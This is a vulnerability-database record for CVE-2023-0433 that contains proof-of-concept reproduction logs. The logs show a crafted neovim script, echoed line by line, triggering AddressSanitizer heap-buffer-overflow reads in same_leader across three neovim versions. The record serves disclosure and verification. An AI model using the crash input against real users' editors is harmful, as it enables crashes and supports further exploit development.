{"uuid": "8a49e37d-4962-4c77-83cc-d0582f321f03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0433", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/2231dd3f3b8278a453a05a6e75c6fbfa", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0433)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: se noai\n\nline 2: norm:se!noco^A^Ms^T^T^T^T^M/00\n:se!noco...\n:se!nocompatible confirm copyindent\nline 2: se!nocompatible confirm copyindent\n\nline 3: g0\\|0no0 r*^MgwGPPPP(\n\nline 3: no0 r*^MgwGPPPP(\n\nline 3: no0 r*^MgwGPPPP(\nline 4: sil!norm^Ln0ndwPPPP^Q^MdPP00000000\n=================================================================\n==13828==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100007410d at pc 0x000000aa405b bp 0x7ffc0e851270 sp 0x7ffc0e851268\nREAD of size 1 at 0x62100007410d thread T0\n    #0 0xaa405a in same_leader /home/zzw/Desktop/neovim/build/../src/nvim/textformat.c:537:13\n    #1 0xaa2409 in format_lines /home/zzw/Desktop/neovim/build/../src/nvim/textformat.c:1020:15\n    #2 0xaa3534 in op_format /home/zzw/Desktop/neovim/build/../src/nvim/textformat.c:817:3\n    #3 0x9178f8 in do_pending_operator /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:6221:7\n    #4 0x8f707c in normal_finish_command /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:918:5\n    #5 0x8db43e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1175:3\n    #6 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #7 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #8 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #9 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #10 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #11 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #12 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #13 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #14 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #15 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #16 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #18 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #19 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #20 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #21 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #22 0x7fcdd329f082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #23 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x62100007410d is located 13 bytes to the right of 4096-byte region [0x621000073100,0x621000074100)\nallocated by thread T0 here:\n    #0 0x4df6cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df6cd)\n    #1 0x88a149 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:82:15\n    #2 0x88a27a in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:116:15\n    #3 0x8771a2 in mf_alloc_bhdr /home/zzw/Desktop/neovim/build/../src/nvim/memfile.c:530:17\n    #4 0x876e30 in mf_new /home/zzw/Desktop/neovim/build/../src/nvim/memfile.c:254:10\n    #5 0x87a2fc in ml_new_data /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2647:16\n    #6 0x8837b5 in ml_append_int /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:1999:14\n    #7 0x881878 in ml_flush_line /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2629:15\n    #8 0x87ff8d in ml_delete /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2332:3\n    #9 0x5e6b16 in del_lines /home/zzw/Desktop/neovim/build/../src/nvim/change.c:1909:5\n    #10 0x909673 in do_join /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:4148:3\n    #11 0xaa2829 in format_lines /home/zzw/Desktop/neovim/build/../src/nvim/textformat.c:1112:13\n    #12 0xaa3534 in op_format /home/zzw/Desktop/neovim/build/../src/nvim/textformat.c:817:3\n    #13 0x9178f8 in do_pending_operator /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:6221:7\n    #14 0x8f707c in normal_finish_command /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:918:5\n    #15 0x8db43e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1175:3\n    #16 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #17 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #18 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #19 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #20 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #21 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #22 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #23 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #24 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #25 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #26 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #27 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #28 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #29 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/textformat.c:537:13 in same_leader\nShadow bytes around the buggy address:\n  0x0c42800067d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c42800067e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c42800067f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c4280006800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c4280006810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=&gt;0x0c4280006820: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4280006830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4280006840: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4280006850: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4280006860: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4280006870: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==13828==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:&gt;] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: se noai\n\nline 2: norm:se!noco^A^Ms^T^T^T^T^M/00\n:se!noco...\n:se!nocompatible confirm copyindent\nline 2: se!nocompatible confirm copyindent\n\nline 3: g0\\|0no0 r*^MgwGPPPP(\n\nline 3: no0 r*^MgwGPPPP(\n\nline 3: no0 r*^MgwGPPPP(\nline 4: sil!norm^Ln0ndwPPPP^Q^MdPP00000000\n=================================================================\n==14313==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100006150d at pc 0x000000cd0a21 bp 0x7ffd3d72d3a0 sp 0x7ffd3d72d398\nREAD of size 1 at 0x62100006150d thread T0\n    #0 0xcd0a20 in same_leader /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:4292:13\n    #1 0xccf844 in format_lines /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:4582:15\n    #2 0xce90ed in op_format /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:4365:3\n    #3 0xce5a28 in do_pending_operator /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:6785:7\n    #4 0xc9f1ea in normal_finish_command /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:894:5\n    #5 0xc6924a in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1169:3\n    #6 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #7 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #8 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #9 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #10 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #11 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #12 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #13 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #14 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #15 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #16 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #17 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #18 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #19 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #20 0x7f7e40506082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #21 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x62100006150d is located 13 bytes to the right of 4096-byte region [0x621000060500,0x621000061500)\nallocated by thread T0 here:\n    #0 0x4d96bd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d96bd)\n    #1 0xbdb432 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xbdb5f4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0xbb7e00 in mf_alloc_bhdr /home/zzw/Desktop/neovim/build/../src/nvim/memfile.c:531:17\n    #4 0xbb797f in mf_new /home/zzw/Desktop/neovim/build/../src/nvim/memfile.c:255:10\n    #5 0xbbde49 in ml_new_data /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2887:16\n    #6 0xbcee45 in ml_append_int /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2159:14\n    #7 0xbcb560 in ml_flush_line /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2869:15\n    #8 0xbc846a in ml_delete /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2515:3\n    #9 0x6e2ab4 in del_lines /home/zzw/Desktop/neovim/build/../src/nvim/change.c:1855:5\n    #10 0xcc2088 in do_join /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:4234:3\n    #11 0xcd0094 in format_lines /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:4664:13\n    #12 0xce90ed in op_format /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:4365:3\n    #13 0xce5a28 in do_pending_operator /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:6785:7\n    #14 0xc9f1ea in normal_finish_command /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:894:5\n    #15 0xc6924a in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1169:3\n    #16 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #17 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #18 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #19 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #20 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #21 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #22 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #23 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #24 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #25 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #26 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #27 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #28 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #29 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:4292:13 in same_leader\nShadow bytes around the buggy address:\n  0x0c4280004250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c4280004260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c4280004270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c4280004280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c4280004290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=&gt;0x0c42800042a0: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c42800042b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c42800042c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c42800042d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c42800042e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c42800042f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==14313==ABORTING\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: se noai\n\nline 2: norm:se noco^A^Ms^T^T^T^T^M/00\n:se noco...\n:se nocompatible confirm copyindent\nline 2: se nocompatible confirm copyindent\n\nline 3: g0\\|0no0 r*^MgwGPPPP(\n\nline 3: no0 r*^MgwGPPPP(\n\nline 3: no0 r*^MgwGPPPP(\nline 4: sil!norm^Ln0ndwPPPP^Q^MdPP00000000\n=================================================================\n==17803==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100003590d at pc 0x000000ada291 bp 0x7ffdfc5f0b00 sp 0x7ffdfc5f0af8\nREAD of size 1 at 0x62100003590d thread T0\n    #0 0xada290 in same_leader /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:3758:13\n    #1 0xad8e76 in format_lines /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:4048:15\n    #2 0xad7380 in op_format /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:3823:3\n    #3 0xa5ade7 in do_pending_operator /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1915:7\n    #4 0xaaa64a in normal_finish_command /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:884:3\n    #5 0xa75095 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1140:3\n    #6 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #7 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #8 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #9 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #10 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #11 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #12 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #13 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #14 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #15 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #16 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #17 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #18 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #19 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #20 0x7f0ecec91082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #21 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x62100003590d is located 13 bytes to the right of 4096-byte region [0x621000034900,0x621000035900)\nallocated by thread T0 here:\n    #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n    #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n    #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n    #3 0x9b9d4a in mf_alloc_bhdr /home/zzw/Desktop/neovim/build/../src/nvim/memfile.c:519:17\n    #4 0x9b98c9 in mf_new /home/zzw/Desktop/neovim/build/../src/nvim/memfile.c:254:10\n    #5 0x9bfbcb in ml_new_data /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2698:16\n    #6 0x9cf6fb in ml_append_int /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2044:14\n    #7 0x9cc2d9 in ml_flush_line /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2679:15\n    #8 0x9c9825 in ml_delete /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2347:3\n    #9 0xa0c53f in del_lines /home/zzw/Desktop/neovim/build/../src/nvim/misc1.c:1729:5\n    #10 0xac0e58 in do_join /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:3707:3\n    #11 0xad963b in format_lines /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:4119:13\n    #12 0xad7380 in op_format /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:3823:3\n    #13 0xa5ade7 in do_pending_operator /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1915:7\n    #14 0xaaa64a in normal_finish_command /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:884:3\n    #15 0xa75095 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1140:3\n    #16 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #17 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #18 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #19 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #20 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #21 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #22 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #23 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #24 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #25 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #26 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #27 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #28 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #29 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:3758:13 in same_leader\nShadow bytes around the buggy address:\n  0x0c427fffead0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c427fffeae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c427fffeaf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c427fffeb00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c427fffeb10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=&gt;0x0c427fffeb20: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c427fffeb30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c427fffeb40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c427fffeb50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c427fffeb60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c427fffeb70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==17803==ABORTING\n", "creation_timestamp": "2026-09-19T12:35:44.988872Z"}